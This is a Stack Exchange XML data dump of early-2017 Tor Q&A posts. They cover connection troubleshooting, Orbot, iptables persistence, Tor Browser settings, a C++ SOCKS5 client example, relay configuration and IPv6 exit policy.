  <row Id="13893" PostTypeId="1" CreationDate="2017-01-31T23:38:04.450" Score="1" ViewCount="2164" Body="&lt;p&gt;I'm trying to browse tor on my university wifi, but whenever I try to connect, it doesn't connect after a long time. I've used some bridges and it still can't connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log:&#xA;1/31/2017 10:31:11 AM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/31/2017 10:31:11 AM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/31/2017 10:31:11 AM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/31/2017 10:31:11 AM.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/31/2017 10:31:17 AM.900 [NOTICE] Bootstrapped 5%: Connecting to directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/31/2017 10:31:17 AM.900 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/31/2017 10:31:38 AM.900 [WARN] Proxy Client: unable to connect to 192.73.235.50:56391 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/31/2017 10:31:38 AM.900 [WARN] Proxy Client: unable to connect to 94.242.249.2:57860 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1/31/2017 10:31:38 AM.900 [WARN] Proxy Client: unable to connect to 194.132.208.239:28548 (&quot;general SOCKS server failure&quot;) &lt;/p&gt;&#xA;" OwnerUserId="16090" LastActivityDate="2017-11-27T01:50:07.417" Title="Can't Connect to Tor Network, failed to Establish Network" Tags="|tor-browser-bundle|configuration|help|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13895" PostTypeId="1" CreationDate="2017-02-01T06:26:30.407" Score="1" ViewCount="189" Body="&lt;p&gt;Where can I get an education in using Tor, both on my phone, and on a computer?  I'm looking to securely set my items up, as there are many options that I know nothing about.  Is there a site for reading documentation on these?  I don't know what the settings do in Orbot for example, and would like to be able to look at an explanatory list, if there is one, or be directed to a course that teaches these things.  Thankyou in advance, as I expect there is information available, considering the scope of the project, but I don't know where to start.&lt;/p&gt;&#xA;" OwnerUserId="16091" LastActivityDate="2017-02-16T07:18:25.100" Title="Documentation for Tor, Orbot, Orfox, etc" Tags="|support|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13896" PostTypeId="1" CreationDate="2017-02-01T07:08:46.770" Score="1" ViewCount="1183" Body="&lt;p&gt;I downloaded a free VPN, but when I downloaded Orbot the Orbot browser does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a kindle fire HD. I read related topics on this website but nothing works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would help.&lt;/p&gt;&#xA;" OwnerUserId="16092" LastEditorUserId="10777" LastEditDate="2017-02-06T14:46:56.783" LastActivityDate="2017-03-09T05:16:55.323" Title="Need help with VPN and Orbot" Tags="|orbot|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13899" PostTypeId="2" ParentId="13892" CreationDate="2017-02-01T17:19:09.557" Score="0" Body="&lt;p&gt;For IPTables in wifi AP case on ARM SBC there's a trick, and let me explain how it's done properly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First of all - make your firewall rules in a single shell script. These rules are not for forwarding - just your ones, i.e. allow SSH and block other stuff&lt;/li&gt;&#xA;&lt;li&gt;Then make a ruleset for &lt;em&gt;adding&lt;/em&gt; TransPort forwarding &lt;strong&gt;and&lt;/strong&gt; for &lt;em&gt;deleting&lt;/em&gt; it, i.e. after the execution of deletion script the only rules remaining are the ones you're added in step 1&lt;/li&gt;&#xA;&lt;li&gt;In &lt;code&gt;/etc/rc.local&lt;/code&gt; add execution of the add-rules scripts, both of them. It will bring it up on reboot&lt;/li&gt;&#xA;&lt;li&gt;Step four - the most tricky one: wifi dongles are used to overheat or replug, and in some cases after interface diappearing it's the odd condition: rules for it are missing. So add your step 3 rules to ifup/ifdown scripts for a wifi interface. So if it will replug by whatever reason - the rules will be just fine. To avoid double adding on boot-up I'm using a file-as-a-flag mechanism: on forwarding-add script it's created and on forward-delete script it's removed, so no double-adding occuring. Or you can make a list of rules and check if there's ones.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Without step four even a PCI wifi cards are the source of &quot;replugging bug&quot;, a shiny example of this is a D-Link PCI adapters, they do overheat under a load and don't have a factory-attached heatsink. Usb ones are causing it more frequent - under the load. So to check it try to transmit and receive a lot of data like from &lt;code&gt;/dev/random&lt;/code&gt; on one host to &lt;code&gt;/dev/null&lt;/code&gt; on another - just make a constant load. Some USB sticks can hangover even in 5-7 minutes.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-01T17:19:09.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13900" PostTypeId="1" CreationDate="2017-02-01T17:33:25.247" Score="0" ViewCount="3716" Body="&lt;p&gt;When I try to connect to tor the onion circuits window pops up but only displays a blue bar at the top saying &quot;You are not connected to tor yet...&quot; It gives no circuits and no status. I turned off mac spoofing, and i configured the time in the terminal. I am using a TP-link 300mbps wifi card and i can access the unsafe browser without issue. &lt;/p&gt;&#xA;" OwnerUserId="16101" LastActivityDate="2017-02-01T17:55:59.850" Title="You are not connected to tor yet...(tails 2.10.0" Tags="|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13901" PostTypeId="2" ParentId="13900" CreationDate="2017-02-01T17:55:59.850" Score="-1" Body="&lt;p&gt;It takes some time to integrate the node into Tor network, on first run it can be even 5-10 minutes sometimes, so basically it's OK. You can post your Tor log and we will be able to take a look deeper if you need it&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-01T17:55:59.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13903" PostTypeId="2" ParentId="13892" CreationDate="2017-02-01T18:55:28.410" Score="1" Body="&lt;p&gt;The issue is the &lt;code&gt;iptables-save&lt;/code&gt; step, there's nothing in that tutorial that makes that reload on boot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice the tutorial states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It will automatically get loaded when the networking is set up on reboot (as we did in the last tutorial on making a Pi access point)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's clearly expecting an extra step, specifically you should install &lt;code&gt;iptables-persistent&lt;/code&gt; and issue the command &lt;code&gt;sudo sh -c &quot;iptables-save &amp;gt; /etc/iptables/rules.v4&quot;&lt;/code&gt;, otherwise you'd need to manually issue an &lt;code&gt;iptables-restore&lt;/code&gt; command to re-establish the &lt;code&gt;iptables&lt;/code&gt; rules.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-01T18:55:28.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13904" PostTypeId="1" CreationDate="2017-02-01T19:43:25.343" Score="1" ViewCount="3378" Body="&lt;p&gt;It's really irritating when people block me from making My PC do what I want! IE: Microsoft, google, any mobile device and now TOR!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the security concerns and &quot;I&quot; still want the browser to open in same size window of my choice every time I start it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following config integers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;extensions.torbutton.window.innerHeight&quot; and&#xA;&quot;extensions.torbutton.window.innerWidth&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No longer function since the last update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me how to FORCE the program to open in a 1200x1000 window when started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please do not explain anything I have not specifically asked about.&lt;/p&gt;&#xA;" OwnerUserId="16103" LastActivityDate="2017-03-03T23:10:15.610" Title="Let me set the defualt window size!" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13906" PostTypeId="2" ParentId="13904" CreationDate="2017-02-01T22:10:22.737" Score="2" Body="&lt;p&gt;tl;dr - Tor Button is no longer responsible for setting the window size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-65-released&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser 6.5 Release&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We moved a lot of Torbutton's privacy settings directly into the respective Firefox menu making it cleaner and more straightforward to use. Finally, we moved as many Torbutton features as possible into Firefox to make it easier for upstreaming them. This allowed us to resolve a couple of window resizing bugs that piled on over the course of the past years.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/21322&quot; rel=&quot;nofollow noreferrer&quot;&gt;#21322&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...there is &lt;code&gt;privacy.window.maxInnerWidth&lt;/code&gt; and &lt;code&gt;privacy.window.maxInnerHeight&lt;/code&gt; you can set...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also be sure to untick the &quot;Change details that distinguish you from other Tor Browser users&quot; box to ensure that you're fingerprintable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially the stuff was moved from the Tor Button extension into Firefox itself, to sort some problems with trying to use an extension to enforce it and to make it easier for them to be pushed upstream to Firefox.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-01T22:10:22.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13907" PostTypeId="1" CreationDate="2017-02-02T00:12:17.580" Score="0" ViewCount="1087" Body="&lt;p&gt;I need to set TAILS/ TOR to an IP address that resides in the USA. I do not know how to do this. &#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="16109" LastActivityDate="2017-02-02T03:12:40.750" Title="Setting a usa IP address TAILS/ TOR" Tags="|security|" AnswerCount="2" CommentCount="0" ClosedDate="2017-02-11T00:14:48.293" ContentLicense="CC BY-SA 3.0" />
  <row Id="13909" PostTypeId="2" ParentId="13907" CreationDate="2017-02-02T01:57:20.913" Score="0" Body="&lt;p&gt;I do not have a lot of experience here.  And you have a number of ip addresses that tor connect to before you get to the internet.  I dont' know which one you need to be in the US.  The first or the exit.&#xA;But I can tell you that I use bridges from &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/&lt;/a&gt;&#xA;and most of the good bridge connections seem to start in the US.  In otherwords, the bridge is a US ip address that then goes off to two more international addresses before exiting to the internet.  If that makes sense.&#xA;So you may want to try a bridge.&lt;/p&gt;&#xA;" OwnerUserId="16111" LastActivityDate="2017-02-02T01:57:20.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13910" PostTypeId="1" CreationDate="2017-02-02T01:59:32.857" Score="0" ViewCount="701" Body="&lt;p&gt;When first installed I had no issue connecting to the tor network, but once closed and re-opened I encounter an issue where it delays while connecting and I recieve a message saying tor cannot connect to control port. It was fine couple weeks ago before the 6.5 update, any quick solutions or this is just a bug? I'm running windows 7 32 bit.&lt;/p&gt;&#xA;" OwnerUserId="16113" LastEditorUserId="18662" LastEditDate="2017-08-30T13:53:03.403" LastActivityDate="2017-08-30T13:53:03.403" Title="Problems connecting to tor control port" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13911" PostTypeId="1" AcceptedAnswerId="13913" CreationDate="2017-02-02T03:06:32.473" Score="0" ViewCount="2057" Body="&lt;p&gt;I'm an end user with poor understanding of networking and all. I decided to run a relay (ExitRelay 0 ;) ;) ) on a dedicated computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I simply want to know what those &quot;v-something&quot; connections mean when I have a look at my log. I'm talking about the line that looks like &quot;Since startup, we have initiated [...] and received...&quot;&lt;/p&gt;&#xA;" OwnerUserId="16115" LastActivityDate="2017-02-02T05:04:42.250" Title="What does &quot;v1&quot;, &quot;v2&quot;, &quot;v3&quot; and &quot;v4&quot; connections mean?" Tags="|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13912" PostTypeId="2" ParentId="13907" CreationDate="2017-02-02T03:12:40.750" Score="1" Body="&lt;p&gt;I think &lt;a href=&quot;https://tor.stackexchange.com/questions/733/can-i-exit-from-a-specific-country-or-node&quot; title=&quot;this thread&quot;&gt;this thread&lt;/a&gt; will answer your question. I used Tails only once, but opening a terminal (command prompt window) and typing something like &lt;code&gt;sudo nano /etc/tor/torrc&lt;/code&gt;, should help you to add the proper lines (the ones in the other thread)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this help. Ask if you need more help.&lt;/p&gt;&#xA;" OwnerUserId="16115" LastActivityDate="2017-02-02T03:12:40.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13913" PostTypeId="2" ParentId="13911" CreationDate="2017-02-02T05:04:42.250" Score="1" Body="&lt;p&gt;These are versions on the OR protocol which are negotiated between the client and the relay upon connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;tor-spec.txt&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2. Connections&#xA;...[SNIP]...&#xA;The initiator then sends a VERSIONS cell to the responder, which then&#xA;replies with a VERSIONS cell; they have then negotiated a Tor&#xA;protocol version.  Assuming that the version they negotiate is 3 or higher&#xA;(the only ones specified for use with this handshake right now), the&#xA;responder sends a CERTS cell, an AUTH_CHALLENGE cell, and a NETINFO&#xA;cell to the initiator, which may send either CERTS, AUTHENTICATE,&#xA;NETINFO if it wants to authenticate, or just NETINFO if it does not.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They have different cell packet layouts, changed as the protocol has been improved and expanded over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;tor-spec.txt&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3. Cell Packet format&#xA;&#xA;The basic unit of communication for onion routers and onion&#xA;proxies is a fixed-width &quot;cell&quot;.&#xA;&#xA;On a version 1 connection, each cell contains the following&#xA;fields:&#xA;&#xA;    CircID                                [CIRCID_LEN bytes]&#xA;    Command                               [1 byte]&#xA;    Payload (padded with 0 bytes)         [PAYLOAD_LEN bytes]&#xA;&#xA;On a version 2 or higher connection, all cells are as in version 1&#xA;connections, except for variable-length cells, whose format is:&#xA;&#xA;    CircID                                [CIRCID_LEN octets]&#xA;    Command                               [1 octet]&#xA;    Length                                [2 octets; big-endian integer]&#xA;    Payload                               [Length bytes]&#xA;&#xA;On a version 2 connection, variable-length cells are indicated by a&#xA;command byte equal to 7 (&quot;VERSIONS&quot;).  On a version 3 or&#xA;higher connection, variable-length cells are indicated by a command&#xA;byte equal to 7 (&quot;VERSIONS&quot;), or greater than or equal to 128.&#xA;&#xA;CIRCID_LEN is 2 for link protocol versions 1, 2, and 3.  CIRCID_LEN&#xA;is 4 for link protocol version 4 or higher.  The VERSIONS cell itself&#xA;always has CIRCID_LEN == 2 for backward compatibility.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-02-02T05:04:42.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13915" PostTypeId="1" CreationDate="2017-02-02T17:59:05.797" Score="0" ViewCount="4150" Body="&lt;p&gt;Just picked up Kali, little rusty with linux. Im attempting to use Proxychains/Tor to log into my remote windows server over RDP(Remmina Application)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proxychains by default uses Socks4 Tor connections it seems in the .conf file, so would I need to run Tor browser before initiating Proxychains?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the command line for using Proxychains is like so &#xA;user@kali:~$ proxychains application targethost.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but doing&#xA;user@kali:~$ proxychains remmina&#xA;just brings up remmina gui, will the applications connections be proxied over Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's not been much mention on the internet of using both programs together, and there are no guides, any input would be greatly appreciated &lt;/p&gt;&#xA;" OwnerUserId="15954" LastActivityDate="2019-04-24T17:03:43.673" Title="Proxychains+Tor+Remmina RDP" Tags="|proxy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13916" PostTypeId="1" AcceptedAnswerId="13919" CreationDate="2017-02-02T18:59:42.570" Score="0" ViewCount="2068" Body="&lt;p&gt;I have a question, regularly we see the use of tor in socks5 for http requests, concretely if we wanted to make a client-server communication (socket) by asking the client to go by tor to send his request to the server all In C ++, what would be the approach to adapt?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time and your answers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps: google translation, sorry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit : Add source code&#xA;    #include &quot;h/main.h&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using namespace std;&#xA;&#xA;bool TcpSockC::_Init()&#xA;{&#xA;    // SOCKET c for tor&#xA;    c = socket(AF_INET,SOCK_STREAM,0);&#xA;    if (c == INVALID_SOCKET) &#xA;    {&#xA;        perror(&quot;Erreur main::sock()&quot;);&#xA;        CLOSE(c);&#xA;        return 0;&#xA;    }&#xA;    // sockaddr_in cs for tor&#xA;    cs.sin_family = AF_INET;&#xA;    cs.sin_port = htons(9050);&#xA;    inet_pton(AF_INET,&quot;127.0.0.1&quot;, &amp;amp;(cs.sin_addr.s_addr));&#xA;    return 1;&#xA;}&#xA;bool TcpSockC::_Co()&#xA;{&#xA;&#xA;    if(connect(c, (sockaddr*)&amp;amp;cs, sizeof(cs)) == SOCKET_ERROR)&#xA;    {&#xA;        perror(&quot;Erreur main::connect()&quot;);&#xA;        CLOSE(c);&#xA;        return 0;&#xA;    }&#xA;    return 1;&#xA;}&#xA;bool TcpSockC::Send()&#xA;{&#xA;    struct sockaddr_in destaddr; // for socket server&#xA;    destaddr.sin_addr.s_addr = inet_addr(&quot;x.x.x.x&quot;);&#xA;    int dest_port = 4148;&#xA;    char buf[256], *ptr;&#xA;    ptr = buf;&#xA;    PUT_BYTE( ptr++,5);&#xA;    PUT_BYTE( ptr++,1);&#xA;    PUT_BYTE(ptr++,0x00);&#xA;    if (send(c,buf,ptr-buf,0) != -1)&#xA;        if (recv(c,buf,2,0) != -1)&#xA;            if ( buf[0] != 5 || buf[1] == 0xFF )&#xA;            {&#xA;                cout &amp;lt;&amp;lt; &quot;error&quot; END;&#xA;                return 0;&#xA;            }&#xA;            ptr = buf;&#xA;            PUT_BYTE(ptr++,5);&#xA;            PUT_BYTE(ptr++,1);&#xA;            PUT_BYTE(ptr++,0);&#xA;            PUT_BYTE(ptr++,1);&#xA;            memcpy( ptr, &amp;amp;destaddr.sin_addr.s_addr,sizeof(destaddr.sin_addr));&#xA;            ptr += sizeof(destaddr.sin_addr);&#xA;            PUT_BYTE(ptr++,dest_port&amp;gt;&amp;gt;8);&#xA;            PUT_BYTE(ptr++,dest_port&amp;amp;0xFF);&#xA;            send(c,buf,ptr-buf,0);&#xA;            recv(c,buf,4,0);&#xA;            cout &amp;lt;&amp;lt; buf[1];&#xA;            if(buf[1] != 0x00)&#xA;            {&#xA;&#xA;                cout &amp;lt;&amp;lt; &quot;error&quot; END;&#xA;                return 0;&#xA;            }&#xA;            ptr = buf + 4;&#xA;            switch ( buf[3] ) {                         &#xA;            case 1:                                     &#xA;                recv( c, ptr, 4+2,0 );              &#xA;                break;&#xA;            case 3:                                     &#xA;                recv( c, ptr, 1 ,0);                 &#xA;                recv( c, ptr+1, *(unsigned char*)ptr + 2,0);&#xA;                break;&#xA;            case 4:                                    &#xA;                recv( c, ptr, 16+2,0 );              &#xA;                break;&#xA;            }&#xA;            printf(&quot;Succes!&quot;);&#xA;&#xA;            // There we are connected to the server x.x.x.x through the proxy&#xA;            // Sample Send&#xA;            char req[] = &quot;Hello World&quot;;&#xA;            send(c, req, sizeof(req), 0);&#xA;            CLOSE(c);&#xA;            return 1;&#xA;}&#xA;int main()&#xA;{&#xA;    TcpSockC c;&#xA;    c._Init();&#xA;    c._Co();&#xA;    c.Send();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After authentication how to send a command to the server through tor?&#xA;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : Solution found updated source code, thanks Alexey Vesnin for your help!&lt;/p&gt;&#xA;" OwnerUserId="16126" LastEditorUserId="16126" LastEditDate="2017-02-03T11:33:49.297" LastActivityDate="2017-02-03T11:33:49.297" Title="{C++} (Linux) &quot;Communicate in socket through tor&quot;" Tags="|client|server|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13918" PostTypeId="2" ParentId="13915" CreationDate="2017-02-02T20:55:38.923" Score="0" Body="&lt;p&gt;To launch Tor you need either launch your Tor Browser - or just a standalone Tor process, whatever you prefer: in both cases the &lt;code&gt;tor&lt;/code&gt; binary will start and provide you with a SOCKS proxy, because Tor Browser actually launches a tor standalone binary. you will be fine &lt;em&gt;if the Tor proxy is the first in proxychains list&lt;/em&gt; and don't forget to use dns-over-proxy name resolution. If you launch some binary like &lt;code&gt;proxychains command&lt;/code&gt; - it's fine, proxychains used to control all the spawned threads as far as I remember.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-08-02T02:06:08.300" LastActivityDate="2017-08-02T02:06:08.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13919" PostTypeId="2" ParentId="13916" CreationDate="2017-02-02T20:57:02.923" Score="0" Body="&lt;p&gt;Just use tor as a socks proxy &lt;strong&gt;with dns resolution via proxy&lt;/strong&gt;, and it will be fine: Tor works on OSI layers 3 and 4(TCP) and it basically tunnels TCP pipes, it does not care if it's a http or other protocol inside&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-02T20:57:02.923" CommentCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="13920" PostTypeId="1" CreationDate="2017-02-02T23:49:11.220" Score="0" ViewCount="221" Body="&lt;p&gt;I setted up a tor relay in a vm and set the number of cpu to four in the config.&#xA;Everything is working great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My remaining question is: Should I copy this machine and run multiple instances? Would this help the network? If yes, how many should I run?&lt;/p&gt;&#xA;" OwnerUserId="16131" LastActivityDate="2017-03-05T10:52:19.480" Title="Should I run multiple tor relay vms on one machine?" Tags="|virtual-machine|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13921" PostTypeId="2" ParentId="13920" CreationDate="2017-02-03T06:17:42.773" Score="1" Body="&lt;p&gt;If you will be able to put them in different C-class subnets on a static IPv4 addresses - then run as much as you need. Actually, you can set the cpu count to 2, it's ok because the crypto part in Tor is still single-thread&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-02-03T06:17:42.773" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13923" PostTypeId="2" ParentId="13916" CreationDate="2017-02-03T10:16:36.970" Score="0" Body="&lt;p&gt;Ye Gods! That is some ugly looking C++ code!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to address the question, the SOCKS negotiation &lt;em&gt;is&lt;/em&gt; the &quot;command&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You connect to Tor's SOCKS port and say &quot;Tor, connect to this destination!&quot; and Tor replies &quot;Yay&quot; or &quot;Nay&quot;. If it's &quot;Nay&quot;, figure out what went wrong or try again, if it's &quot;Yay&quot; then the socket that you negotiated the SOCKS protocol with now sends to, and receives from, your requested destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, where &lt;code&gt;// Send cmd to server through tor?&lt;/code&gt; is, currently is where you'd send whatever data you wanted to send to the remote server in the first place through your existing connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char cmd[] = &quot;GET / HTTP/1.1\r\nHost: example.com\r\n\r\n&quot;;&#xA;send(c, cmd, sizeof(cmd), 0); // send HTTP reqest&#xA;recv(c, buf, sizeof(buf), 0); // buf now contains the http response, or some of it at least&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you've successfully negotiated the SOCKS protocol with Tor's SOCKS port you should consider the socket that you negotiated the SOCKS connection with as being like a normal socket to your requested destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;P.S. I wrote a simple SOCKS5 implementation intended for use with Tor from C, available &lt;a href=&quot;https://github.com/epidemics-scepticism/SOCKS&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. See &lt;code&gt;socks.h&lt;/code&gt; for usage.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-02-03T10:31:14.677" LastActivityDate="2017-02-03T10:31:14.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13926" PostTypeId="1" CreationDate="2017-02-03T16:30:02.150" Score="0" ViewCount="945" Body="&lt;p&gt;Does that means that I'm an exit node if somebody connects to me through IPv6?&lt;/p&gt;&#xA;" OwnerUserId="16131" LastActivityDate="2018-02-06T07:40:47.170" Title="IPv6 Exit Policy Summary none defined" Tags="|exit-relays|exit-policies|ipv6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13927" PostTypeId="2" ParentId="13926" CreationDate="2017-02-03T16:43:56.357" Score="4" Body="&lt;p&gt;nope. tor uses both IPv4 and IPv6 if one of them is not prohibited explicitly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reject IPv6 on all levels add this to your torrc:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ExitPolicy reject6 *:*&lt;/code&gt; - it will disable &lt;em&gt;any&lt;/em&gt; exit traffic for exit relay, see &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExitPolicy&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExitPolicy&lt;/a&gt; description&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ClientUseIPv6 0&lt;/code&gt; - it will prohibit Tor &lt;em&gt;client functionality&lt;/em&gt; that serves your requests through Tor network to use IPv6. Docs are &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ClientUseIPv6&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PreferIPv6Automap Off&lt;/code&gt; - it will prohibit in hosts auto-mapping(via AutomapHostsOnResolve) functionality to use IPv6, docs are &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#PreferIPv6Automap&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In your &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SocksPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;SocksPort&lt;/a&gt; directives make sure &lt;strong&gt;no IPv6 is explicitly enabled/preferred&lt;/strong&gt;, IPv4 is the default for SOCKS proxy Tor backend&lt;/li&gt;&#xA;&lt;li&gt;set &lt;code&gt;ClientPreferIPv6DirPort 0&lt;/code&gt; and &lt;code&gt;ClientPreferIPv6ORPort 0&lt;/code&gt; - it will disable an IPv6 preference for ORPort and DirPort connections&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;IPv6Exit 0&lt;/code&gt; to disable using your exit as IPv6 one&lt;/li&gt;&#xA;&lt;li&gt;in ORPort flags add &lt;em&gt;IPv4Only&lt;/em&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and right - you use &lt;code&gt;reject&lt;/code&gt; for IPv4 and &lt;code&gt;reject6&lt;/code&gt; for IPv6&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-02-11T02:43:25.247" LastActivityDate="2017-02-11T02:43:25.247" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
